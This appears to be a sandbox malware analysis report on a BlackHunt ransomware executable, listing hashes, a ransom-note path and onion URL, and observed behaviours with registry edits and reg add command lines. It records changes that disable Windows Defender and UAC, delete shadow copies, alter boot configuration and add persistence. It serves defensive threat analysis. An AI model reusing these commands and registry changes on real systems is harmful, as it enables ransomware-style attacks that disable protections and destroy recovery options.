Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
150s -
max time network
178s -
platform
windows10-2004_x64 -
resource
win10v2004-20231215-en -
resource tags
arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system -
submitted
19/01/2024, 00:21
Static task
static1
Behavioral task
behavioral1
Sample
9fe40244670cbb8e726a185dcc382c141f2ab26fbfc34083323680b7e3f66c25.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
9fe40244670cbb8e726a185dcc382c141f2ab26fbfc34083323680b7e3f66c25.exe
Resource
win10v2004-20231215-en
General
-
Target
9fe40244670cbb8e726a185dcc382c141f2ab26fbfc34083323680b7e3f66c25.exe
-
Size
707KB
-
MD5
fc040cfccc76cfe8c09e98bf106467df
-
SHA1
e9a0448168cb4ce64e215786d47ec0aaa434bd0e
-
SHA256
9fe40244670cbb8e726a185dcc382c141f2ab26fbfc34083323680b7e3f66c25
-
SHA512
91b4fb26b657122f29a450502d52cf8b1ba69dec2fa46b4c4429f9c49308f8c1915fcfa57ff2e083dbff38860570a6fc4671495e70ec2bd65964d2688413a565
-
SSDEEP
6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza1I8Yvnh:6uaTmkZJ+naie5OTamgEoKxLWjmh
Malware Config
Extracted
C:\ProgramData\#BlackHunt_ReadMe.hta
http-equiv="x-ua-compatible"
http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion
Signatures
-
Deletes NTFS Change Journal 2 TTPs 1 IoCs
The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.
pid Process 428 fsutil.exe -
description ioc Process Key created \REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1" reg.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" 9fe40244670cbb8e726a185dcc382c141f2ab26fbfc34083323680b7e3f66c25.exe -
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
-
Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
pid Process 2488 bcdedit.exe 5204 bcdedit.exe -
Renames multiple (698) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
-
pid Process 4916 wbadmin.exe -
Disables Task Manager via registry modification
-
Disables use of System Restore points 1 TTPs
-
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-1815711207-1844170477-3539718864-1000\Control Panel\International\Geo\Nation 9fe40244670cbb8e726a185dcc382c141f2ab26fbfc34083323680b7e3f66c25.exe -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta" reg.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" 9fe40244670cbb8e726a185dcc382c141f2ab26fbfc34083323680b7e3f66c25.exe -
Enumerates connected drives 3 TTPs 25 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\E: 9fe40244670cbb8e726a185dcc382c141f2ab26fbfc34083323680b7e3f66c25.exe File opened (read-only) \??\N: 9fe40244670cbb8e726a185dcc382c141f2ab26fbfc34083323680b7e3f66c25.exe File opened (read-only) \??\F: vssadmin.exe File opened (read-only) \??\W: 9fe40244670cbb8e726a185dcc382c141f2ab26fbfc34083323680b7e3f66c25.exe File opened (read-only) \??\I: 9fe40244670cbb8e726a185dcc382c141f2ab26fbfc34083323680b7e3f66c25.exe File opened (read-only) \??\X: 9fe40244670cbb8e726a185dcc382c141f2ab26fbfc34083323680b7e3f66c25.exe File opened (read-only) \??\V: 9fe40244670cbb8e726a185dcc382c141f2ab26fbfc34083323680b7e3f66c25.exe File opened (read-only) \??\Q: 9fe40244670cbb8e726a185dcc382c141f2ab26fbfc34083323680b7e3f66c25.exe File opened (read-only) \??\R: 9fe40244670cbb8e726a185dcc382c141f2ab26fbfc34083323680b7e3f66c25.exe File opened (read-only) \??\O: 9fe40244670cbb8e726a185dcc382c141f2ab26fbfc34083323680b7e3f66c25.exe File opened (read-only) \??\P: 9fe40244670cbb8e726a185dcc382c141f2ab26fbfc34083323680b7e3f66c25.exe File opened (read-only) \??\L: 9fe40244670cbb8e726a185dcc382c141f2ab26fbfc34083323680b7e3f66c25.exe File opened (read-only) \??\T: 9fe40244670cbb8e726a185dcc382c141f2ab26fbfc34083323680b7e3f66c25.exe File opened (read-only) \??\A: 9fe40244670cbb8e726a185dcc382c141f2ab26fbfc34083323680b7e3f66c25.exe File opened (read-only) \??\K: 9fe40244670cbb8e726a185dcc382c141f2ab26fbfc34083323680b7e3f66c25.exe File opened (read-only) \??\Z: 9fe40244670cbb8e726a185dcc382c141f2ab26fbfc34083323680b7e3f66c25.exe File opened (read-only) \??\B: 9fe40244670cbb8e726a185dcc382c141f2ab26fbfc34083323680b7e3f66c25.exe File opened (read-only) \??\M: 9fe40244670cbb8e726a185dcc382c141f2ab26fbfc34083323680b7e3f66c25.exe File opened (read-only) \??\U: 9fe40244670cbb8e726a185dcc382c141f2ab26fbfc34083323680b7e3f66c25.exe File opened (read-only) \??\Y: 9fe40244670cbb8e726a185dcc382c141f2ab26fbfc34083323680b7e3f66c25.exe File opened (read-only) \??\S: 9fe40244670cbb8e726a185dcc382c141f2ab26fbfc34083323680b7e3f66c25.exe File opened (read-only) \??\G: 9fe40244670cbb8e726a185dcc382c141f2ab26fbfc34083323680b7e3f66c25.exe File opened (read-only) \??\H: 9fe40244670cbb8e726a185dcc382c141f2ab26fbfc34083323680b7e3f66c25.exe File opened (read-only) \??\F: vssadmin.exe File opened (read-only) \??\J: 9fe40244670cbb8e726a185dcc382c141f2ab26fbfc34083323680b7e3f66c25.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 10 ip-api.com -
Drops file in Program Files directory 64 IoCs
description ioc Process File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_glass_100_fdf5ce_1x400.png 9fe40244670cbb8e726a185dcc382c141f2ab26fbfc34083323680b7e3f66c25.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\images\buttons.png 9fe40244670cbb8e726a185dcc382c141f2ab26fbfc34083323680b7e3f66c25.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\view.html 9fe40244670cbb8e726a185dcc382c141f2ab26fbfc34083323680b7e3f66c25.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\playlist\anevia_xml.luac 9fe40244670cbb8e726a185dcc382c141f2ab26fbfc34083323680b7e3f66c25.exe File created C:\Program Files\VideoLAN\VLC\locale\ta\#BlackHunt_ReadMe.hta 9fe40244670cbb8e726a185dcc382c141f2ab26fbfc34083323680b7e3f66c25.exe File created C:\Program Files\Java\jre-1.8\lib\security\policy\#BlackHunt_ReadMe.txt 9fe40244670cbb8e726a185dcc382c141f2ab26fbfc34083323680b7e3f66c25.exe File created C:\Program Files\VideoLAN\VLC\locale\en_GB\#BlackHunt_ReadMe.txt 9fe40244670cbb8e726a185dcc382c141f2ab26fbfc34083323680b7e3f66c25.exe File opened for modification C:\Program Files\7-Zip\Lang\sq.txt 9fe40244670cbb8e726a185dcc382c141f2ab26fbfc34083323680b7e3f66c25.exe File created C:\Program Files\VideoLAN\VLC\locale\fa\LC_MESSAGES\#BlackHunt_Private.key 9fe40244670cbb8e726a185dcc382c141f2ab26fbfc34083323680b7e3f66c25.exe File created C:\Program Files\VideoLAN\VLC\locale\ml\LC_MESSAGES\#BlackHunt_ReadMe.txt 9fe40244670cbb8e726a185dcc382c141f2ab26fbfc34083323680b7e3f66c25.exe File created C:\Program Files\VideoLAN\VLC\locale\pa\LC_MESSAGES\#BlackHunt_ReadMe.hta 9fe40244670cbb8e726a185dcc382c141f2ab26fbfc34083323680b7e3f66c25.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\lib\ext\cldrdata.jar 9fe40244670cbb8e726a185dcc382c141f2ab26fbfc34083323680b7e3f66c25.exe File opened for modification C:\Program Files\Java\jdk-1.8\legal\jdk\cldr.md 9fe40244670cbb8e726a185dcc382c141f2ab26fbfc34083323680b7e3f66c25.exe File opened for modification C:\Program Files\Java\jre-1.8\legal\jdk\xmlresolver.md 9fe40244670cbb8e726a185dcc382c141f2ab26fbfc34083323680b7e3f66c25.exe File created C:\Program Files\VideoLAN\VLC\locale\ca\#BlackHunt_Private.key 9fe40244670cbb8e726a185dcc382c141f2ab26fbfc34083323680b7e3f66c25.exe File created C:\Program Files\Java\jdk-1.8\jre\lib\deploy\#BlackHunt_Private.key 9fe40244670cbb8e726a185dcc382c141f2ab26fbfc34083323680b7e3f66c25.exe File created C:\Program Files\Java\jre-1.8\legal\javafx\#BlackHunt_Private.key 9fe40244670cbb8e726a185dcc382c141f2ab26fbfc34083323680b7e3f66c25.exe File created C:\Program Files\VideoLAN\VLC\locale\brx\LC_MESSAGES\#BlackHunt_ReadMe.hta 9fe40244670cbb8e726a185dcc382c141f2ab26fbfc34083323680b7e3f66c25.exe File created C:\Program Files\VideoLAN\VLC\locale\ka\LC_MESSAGES\#BlackHunt_ReadMe.txt 9fe40244670cbb8e726a185dcc382c141f2ab26fbfc34083323680b7e3f66c25.exe File created C:\Program Files\VideoLAN\VLC\locale\mk\LC_MESSAGES\#BlackHunt_Private.key 9fe40244670cbb8e726a185dcc382c141f2ab26fbfc34083323680b7e3f66c25.exe File created C:\Program Files\VideoLAN\VLC\locale\tet\#BlackHunt_ReadMe.hta 9fe40244670cbb8e726a185dcc382c141f2ab26fbfc34083323680b7e3f66c25.exe File created C:\Program Files\VideoLAN\VLC\locale\ml\LC_MESSAGES\#BlackHunt_Private.key 9fe40244670cbb8e726a185dcc382c141f2ab26fbfc34083323680b7e3f66c25.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\css\main.css 9fe40244670cbb8e726a185dcc382c141f2ab26fbfc34083323680b7e3f66c25.exe File created C:\Program Files\VideoLAN\VLC\locale\tet\#BlackHunt_ReadMe.txt 9fe40244670cbb8e726a185dcc382c141f2ab26fbfc34083323680b7e3f66c25.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\lib\plugin.jar 9fe40244670cbb8e726a185dcc382c141f2ab26fbfc34083323680b7e3f66c25.exe File created C:\Program Files\VideoLAN\VLC\locale\gu\LC_MESSAGES\#BlackHunt_ReadMe.txt 9fe40244670cbb8e726a185dcc382c141f2ab26fbfc34083323680b7e3f66c25.exe File opened for modification C:\Program Files\7-Zip\Lang\ky.txt 9fe40244670cbb8e726a185dcc382c141f2ab26fbfc34083323680b7e3f66c25.exe File created C:\Program Files\VideoLAN\VLC\locale\uk\#BlackHunt_ReadMe.txt 9fe40244670cbb8e726a185dcc382c141f2ab26fbfc34083323680b7e3f66c25.exe File created C:\Program Files\VideoLAN\VLC\locale\or\LC_MESSAGES\#BlackHunt_ReadMe.hta 9fe40244670cbb8e726a185dcc382c141f2ab26fbfc34083323680b7e3f66c25.exe File created C:\Program Files\MSBuild\#BlackHunt_Private.key 9fe40244670cbb8e726a185dcc382c141f2ab26fbfc34083323680b7e3f66c25.exe File opened for modification C:\Program Files\Java\jre-1.8\lib\security\trusted.libraries 9fe40244670cbb8e726a185dcc382c141f2ab26fbfc34083323680b7e3f66c25.exe File created C:\Program Files\VideoLAN\VLC\locale\am\LC_MESSAGES\#BlackHunt_Private.key 9fe40244670cbb8e726a185dcc382c141f2ab26fbfc34083323680b7e3f66c25.exe File created C:\Program Files\VideoLAN\VLC\locale\gu\#BlackHunt_ReadMe.txt 9fe40244670cbb8e726a185dcc382c141f2ab26fbfc34083323680b7e3f66c25.exe File created C:\Program Files\VideoLAN\VLC\lua\http\css\#BlackHunt_ReadMe.txt 9fe40244670cbb8e726a185dcc382c141f2ab26fbfc34083323680b7e3f66c25.exe File created C:\Program Files\VideoLAN\VLC\plugins\lua\#BlackHunt_ReadMe.txt 9fe40244670cbb8e726a185dcc382c141f2ab26fbfc34083323680b7e3f66c25.exe File created C:\Program Files\Java\jdk-1.8\jre\legal\jdk\#BlackHunt_ReadMe.txt 9fe40244670cbb8e726a185dcc382c141f2ab26fbfc34083323680b7e3f66c25.exe File opened for modification C:\Program Files\Java\jre-1.8\lib\fonts\LucidaBrightDemiBold.ttf 9fe40244670cbb8e726a185dcc382c141f2ab26fbfc34083323680b7e3f66c25.exe File created C:\Program Files\VideoLAN\VLC\locale\te\#BlackHunt_Private.key 9fe40244670cbb8e726a185dcc382c141f2ab26fbfc34083323680b7e3f66c25.exe File created C:\Program Files\VideoLAN\VLC\lua\http\dialogs\#BlackHunt_Private.key 9fe40244670cbb8e726a185dcc382c141f2ab26fbfc34083323680b7e3f66c25.exe File created C:\Program Files\VideoLAN\VLC\plugins\control\#BlackHunt_Private.key 9fe40244670cbb8e726a185dcc382c141f2ab26fbfc34083323680b7e3f66c25.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\legal\javafx\gstreamer.md 9fe40244670cbb8e726a185dcc382c141f2ab26fbfc34083323680b7e3f66c25.exe File opened for modification C:\Program Files\7-Zip\Lang\kaa.txt 9fe40244670cbb8e726a185dcc382c141f2ab26fbfc34083323680b7e3f66c25.exe File created C:\Program Files\Java\jdk-1.8\jre\lib\security\#BlackHunt_ReadMe.txt 9fe40244670cbb8e726a185dcc382c141f2ab26fbfc34083323680b7e3f66c25.exe File created C:\Program Files\VideoLAN\VLC\locale\kk\LC_MESSAGES\#BlackHunt_ReadMe.hta 9fe40244670cbb8e726a185dcc382c141f2ab26fbfc34083323680b7e3f66c25.exe File created C:\Program Files\dotnet\swidtag\#BlackHunt_Private.key 9fe40244670cbb8e726a185dcc382c141f2ab26fbfc34083323680b7e3f66c25.exe File opened for modification C:\Program Files\Java\jre-1.8\legal\jdk\colorimaging.md 9fe40244670cbb8e726a185dcc382c141f2ab26fbfc34083323680b7e3f66c25.exe File opened for modification C:\Program Files\Java\jre-1.8\lib\jfr\default.jfc 9fe40244670cbb8e726a185dcc382c141f2ab26fbfc34083323680b7e3f66c25.exe File opened for modification C:\Program Files\Java\jre-1.8\lib\security\policy\limited\US_export_policy.jar 9fe40244670cbb8e726a185dcc382c141f2ab26fbfc34083323680b7e3f66c25.exe File created C:\Program Files\VideoLAN\VLC\locale\uk\LC_MESSAGES\#BlackHunt_ReadMe.txt 9fe40244670cbb8e726a185dcc382c141f2ab26fbfc34083323680b7e3f66c25.exe File created C:\Program Files\Java\jdk-1.8\bin\#BlackHunt_ReadMe.hta 9fe40244670cbb8e726a185dcc382c141f2ab26fbfc34083323680b7e3f66c25.exe File created C:\Program Files\Java\jdk-1.8\jre\bin\dtplugin\#BlackHunt_ReadMe.txt 9fe40244670cbb8e726a185dcc382c141f2ab26fbfc34083323680b7e3f66c25.exe File opened for modification C:\Program Files\Java\jdk-1.8\legal\javafx\gstreamer.md 9fe40244670cbb8e726a185dcc382c141f2ab26fbfc34083323680b7e3f66c25.exe File opened for modification C:\Program Files\Java\jre-1.8\lib\classlist 9fe40244670cbb8e726a185dcc382c141f2ab26fbfc34083323680b7e3f66c25.exe File created C:\Program Files\dotnet\swidtag\#BlackHunt_ReadMe.txt 9fe40244670cbb8e726a185dcc382c141f2ab26fbfc34083323680b7e3f66c25.exe File opened for modification C:\Program Files\7-Zip\Lang\uk.txt 9fe40244670cbb8e726a185dcc382c141f2ab26fbfc34083323680b7e3f66c25.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\lib\ext\dnsns.jar 9fe40244670cbb8e726a185dcc382c141f2ab26fbfc34083323680b7e3f66c25.exe File created C:\Program Files\VideoLAN\VLC\locale\af\LC_MESSAGES\#BlackHunt_Private.key 9fe40244670cbb8e726a185dcc382c141f2ab26fbfc34083323680b7e3f66c25.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\fi\LC_MESSAGES\vlc.mo 9fe40244670cbb8e726a185dcc382c141f2ab26fbfc34083323680b7e3f66c25.exe File created C:\Program Files\7-Zip\#BlackHunt_Private.key 9fe40244670cbb8e726a185dcc382c141f2ab26fbfc34083323680b7e3f66c25.exe File opened for modification C:\Program Files\7-Zip\Lang\tr.txt 9fe40244670cbb8e726a185dcc382c141f2ab26fbfc34083323680b7e3f66c25.exe File created C:\Program Files\VideoLAN\VLC\locale\ky\LC_MESSAGES\#BlackHunt_ReadMe.hta 9fe40244670cbb8e726a185dcc382c141f2ab26fbfc34083323680b7e3f66c25.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\ps\LC_MESSAGES\vlc.mo 9fe40244670cbb8e726a185dcc382c141f2ab26fbfc34083323680b7e3f66c25.exe File created C:\Program Files\VideoLAN\VLC\locale\ia\LC_MESSAGES\#BlackHunt_Private.key 9fe40244670cbb8e726a185dcc382c141f2ab26fbfc34083323680b7e3f66c25.exe File created C:\Program Files\VideoLAN\VLC\locale\kk\LC_MESSAGES\#BlackHunt_Private.key 9fe40244670cbb8e726a185dcc382c141f2ab26fbfc34083323680b7e3f66c25.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Checks SCSI registry key(s) 3 TTPs 4 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000 vds.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName vds.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_DADY_DVD-ROM\4&215468A5&0&010000 vds.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000\FriendlyName vds.exe -
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 4536 schtasks.exe -
Interacts with shadow copies 2 TTPs 5 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 4616 vssadmin.exe 1676 vssadmin.exe 3828 vssadmin.exe 4452 vssadmin.exe 5068 vssadmin.exe -
Modifies registry class 12 IoCs
description ioc Process Key created \REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\ reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2 reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon reg.exe Key created \REGISTRY\MACHINE\Software\Classes\Hunt2 reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico" reg.exe Key created \REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2 reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon reg.exe Key created \REGISTRY\MACHINE\Software\Classes\.Hunt2 reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\ reg.exe -
Suspicious use of AdjustPrivilegeToken 13 IoCs
description pid Process Token: SeDebugPrivilege 856 9fe40244670cbb8e726a185dcc382c141f2ab26fbfc34083323680b7e3f66c25.exe Token: SeRestorePrivilege 856 9fe40244670cbb8e726a185dcc382c141f2ab26fbfc34083323680b7e3f66c25.exe Token: SeBackupPrivilege 856 9fe40244670cbb8e726a185dcc382c141f2ab26fbfc34083323680b7e3f66c25.exe Token: SeTakeOwnershipPrivilege 856 9fe40244670cbb8e726a185dcc382c141f2ab26fbfc34083323680b7e3f66c25.exe Token: SeAuditPrivilege 856 9fe40244670cbb8e726a185dcc382c141f2ab26fbfc34083323680b7e3f66c25.exe Token: SeSecurityPrivilege 856 9fe40244670cbb8e726a185dcc382c141f2ab26fbfc34083323680b7e3f66c25.exe Token: SeIncBasePriorityPrivilege 856 9fe40244670cbb8e726a185dcc382c141f2ab26fbfc34083323680b7e3f66c25.exe Token: SeBackupPrivilege 884 vssvc.exe Token: SeRestorePrivilege 884 vssvc.exe Token: SeAuditPrivilege 884 vssvc.exe Token: SeBackupPrivilege 6592 wbengine.exe Token: SeRestorePrivilege 6592 wbengine.exe Token: SeSecurityPrivilege 6592 wbengine.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 856 wrote to memory of 4652 856 9fe40244670cbb8e726a185dcc382c141f2ab26fbfc34083323680b7e3f66c25.exe 93 PID 856 wrote to memory of 4652 856 9fe40244670cbb8e726a185dcc382c141f2ab26fbfc34083323680b7e3f66c25.exe 93 PID 856 wrote to memory of 2092 856 9fe40244670cbb8e726a185dcc382c141f2ab26fbfc34083323680b7e3f66c25.exe 95 PID 856 wrote to memory of 2092 856 9fe40244670cbb8e726a185dcc382c141f2ab26fbfc34083323680b7e3f66c25.exe 95 PID 856 wrote to memory of 1080 856 9fe40244670cbb8e726a185dcc382c141f2ab26fbfc34083323680b7e3f66c25.exe 97 PID 856 wrote to memory of 1080 856 9fe40244670cbb8e726a185dcc382c141f2ab26fbfc34083323680b7e3f66c25.exe 97 PID 856 wrote to memory of 3556 856 9fe40244670cbb8e726a185dcc382c141f2ab26fbfc34083323680b7e3f66c25.exe 98 PID 856 wrote to memory of 3556 856 9fe40244670cbb8e726a185dcc382c141f2ab26fbfc34083323680b7e3f66c25.exe 98 PID 856 wrote to memory of 3612 856 9fe40244670cbb8e726a185dcc382c141f2ab26fbfc34083323680b7e3f66c25.exe 101 PID 856 wrote to memory of 3612 856 9fe40244670cbb8e726a185dcc382c141f2ab26fbfc34083323680b7e3f66c25.exe 101 PID 4652 wrote to memory of 464 4652 cmd.exe 102 PID 4652 wrote to memory of 464 4652 cmd.exe 102 PID 3612 wrote to memory of 1476 3612 cmd.exe 107 PID 3612 wrote to memory of 1476 3612 cmd.exe 107 PID 2092 wrote to memory of 3580 2092 cmd.exe 106 PID 2092 wrote to memory of 3580 2092 cmd.exe 106 PID 3556 wrote to memory of 3540 3556 cmd.exe 105 PID 3556 wrote to memory of 3540 3556 cmd.exe 105 PID 1080 wrote to memory of 4344 1080 cmd.exe 104 PID 1080 wrote to memory of 4344 1080 cmd.exe 104 PID 856 wrote to memory of 2956 856 9fe40244670cbb8e726a185dcc382c141f2ab26fbfc34083323680b7e3f66c25.exe 108 PID 856 wrote to memory of 2956 856 9fe40244670cbb8e726a185dcc382c141f2ab26fbfc34083323680b7e3f66c25.exe 108 PID 856 wrote to memory of 2240 856 9fe40244670cbb8e726a185dcc382c141f2ab26fbfc34083323680b7e3f66c25.exe 111 PID 856 wrote to memory of 2240 856 9fe40244670cbb8e726a185dcc382c141f2ab26fbfc34083323680b7e3f66c25.exe 111 PID 856 wrote to memory of 4776 856 9fe40244670cbb8e726a185dcc382c141f2ab26fbfc34083323680b7e3f66c25.exe 113 PID 856 wrote to memory of 4776 856 9fe40244670cbb8e726a185dcc382c141f2ab26fbfc34083323680b7e3f66c25.exe 113 PID 856 wrote to memory of 3696 856 9fe40244670cbb8e726a185dcc382c141f2ab26fbfc34083323680b7e3f66c25.exe 115 PID 856 wrote to memory of 3696 856 9fe40244670cbb8e726a185dcc382c141f2ab26fbfc34083323680b7e3f66c25.exe 115 PID 856 wrote to memory of 4272 856 9fe40244670cbb8e726a185dcc382c141f2ab26fbfc34083323680b7e3f66c25.exe 117 PID 856 wrote to memory of 4272 856 9fe40244670cbb8e726a185dcc382c141f2ab26fbfc34083323680b7e3f66c25.exe 117 PID 2956 wrote to memory of 3000 2956 cmd.exe 122 PID 2956 wrote to memory of 3000 2956 cmd.exe 122 PID 856 wrote to memory of 208 856 9fe40244670cbb8e726a185dcc382c141f2ab26fbfc34083323680b7e3f66c25.exe 121 PID 856 wrote to memory of 208 856 9fe40244670cbb8e726a185dcc382c141f2ab26fbfc34083323680b7e3f66c25.exe 121 PID 2240 wrote to memory of 212 2240 cmd.exe 119 PID 2240 wrote to memory of 212 2240 cmd.exe 119 PID 4776 wrote to memory of 4600 4776 cmd.exe 123 PID 4776 wrote to memory of 4600 4776 cmd.exe 123 PID 3696 wrote to memory of 4416 3696 cmd.exe 124 PID 3696 wrote to memory of 4416 3696 cmd.exe 124 PID 856 wrote to memory of 4840 856 9fe40244670cbb8e726a185dcc382c141f2ab26fbfc34083323680b7e3f66c25.exe 125 PID 856 wrote to memory of 4840 856 9fe40244670cbb8e726a185dcc382c141f2ab26fbfc34083323680b7e3f66c25.exe 125 PID 856 wrote to memory of 3836 856 9fe40244670cbb8e726a185dcc382c141f2ab26fbfc34083323680b7e3f66c25.exe 126 PID 856 wrote to memory of 3836 856 9fe40244670cbb8e726a185dcc382c141f2ab26fbfc34083323680b7e3f66c25.exe 126 PID 856 wrote to memory of 3600 856 9fe40244670cbb8e726a185dcc382c141f2ab26fbfc34083323680b7e3f66c25.exe 131 PID 856 wrote to memory of 3600 856 9fe40244670cbb8e726a185dcc382c141f2ab26fbfc34083323680b7e3f66c25.exe 131 PID 4272 wrote to memory of 960 4272 cmd.exe 129 PID 4272 wrote to memory of 960 4272 cmd.exe 129 PID 856 wrote to memory of 4556 856 9fe40244670cbb8e726a185dcc382c141f2ab26fbfc34083323680b7e3f66c25.exe 132 PID 856 wrote to memory of 4556 856 9fe40244670cbb8e726a185dcc382c141f2ab26fbfc34083323680b7e3f66c25.exe 132 PID 856 wrote to memory of 3792 856 9fe40244670cbb8e726a185dcc382c141f2ab26fbfc34083323680b7e3f66c25.exe 134 PID 856 wrote to memory of 3792 856 9fe40244670cbb8e726a185dcc382c141f2ab26fbfc34083323680b7e3f66c25.exe 134 PID 208 wrote to memory of 4956 208 cmd.exe 136 PID 208 wrote to memory of 4956 208 cmd.exe 136 PID 4840 wrote to memory of 3800 4840 cmd.exe 137 PID 4840 wrote to memory of 3800 4840 cmd.exe 137 PID 3836 wrote to memory of 4960 3836 cmd.exe 138 PID 3836 wrote to memory of 4960 3836 cmd.exe 138 PID 3600 wrote to memory of 2804 3600 cmd.exe 139 PID 3600 wrote to memory of 2804 3600 cmd.exe 139 PID 856 wrote to memory of 3940 856 9fe40244670cbb8e726a185dcc382c141f2ab26fbfc34083323680b7e3f66c25.exe 140 PID 856 wrote to memory of 3940 856 9fe40244670cbb8e726a185dcc382c141f2ab26fbfc34083323680b7e3f66c25.exe 140 PID 856 wrote to memory of 736 856 9fe40244670cbb8e726a185dcc382c141f2ab26fbfc34083323680b7e3f66c25.exe 142 PID 856 wrote to memory of 736 856 9fe40244670cbb8e726a185dcc382c141f2ab26fbfc34083323680b7e3f66c25.exe 142 -
System policy modification 1 TTPs 3 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System 9fe40244670cbb8e726a185dcc382c141f2ab26fbfc34083323680b7e3f66c25.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" 9fe40244670cbb8e726a185dcc382c141f2ab26fbfc34083323680b7e3f66c25.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1" 9fe40244670cbb8e726a185dcc382c141f2ab26fbfc34083323680b7e3f66c25.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
-
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\9fe40244670cbb8e726a185dcc382c141f2ab26fbfc34083323680b7e3f66c25.exe"C:\Users\Admin\AppData\Local\Temp\9fe40244670cbb8e726a185dcc382c141f2ab26fbfc34083323680b7e3f66c25.exe"1⤵
- UAC bypass
- Checks computer location settings
- Checks whether UAC is enabled
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:856 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f2⤵
- Suspicious use of WriteProcessMemory
PID:4652 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f3⤵
- Modifies registry class
PID:464
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f2⤵
- Suspicious use of WriteProcessMemory
PID:2092 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f3⤵
- Modifies registry class
PID:3580
-
-
-
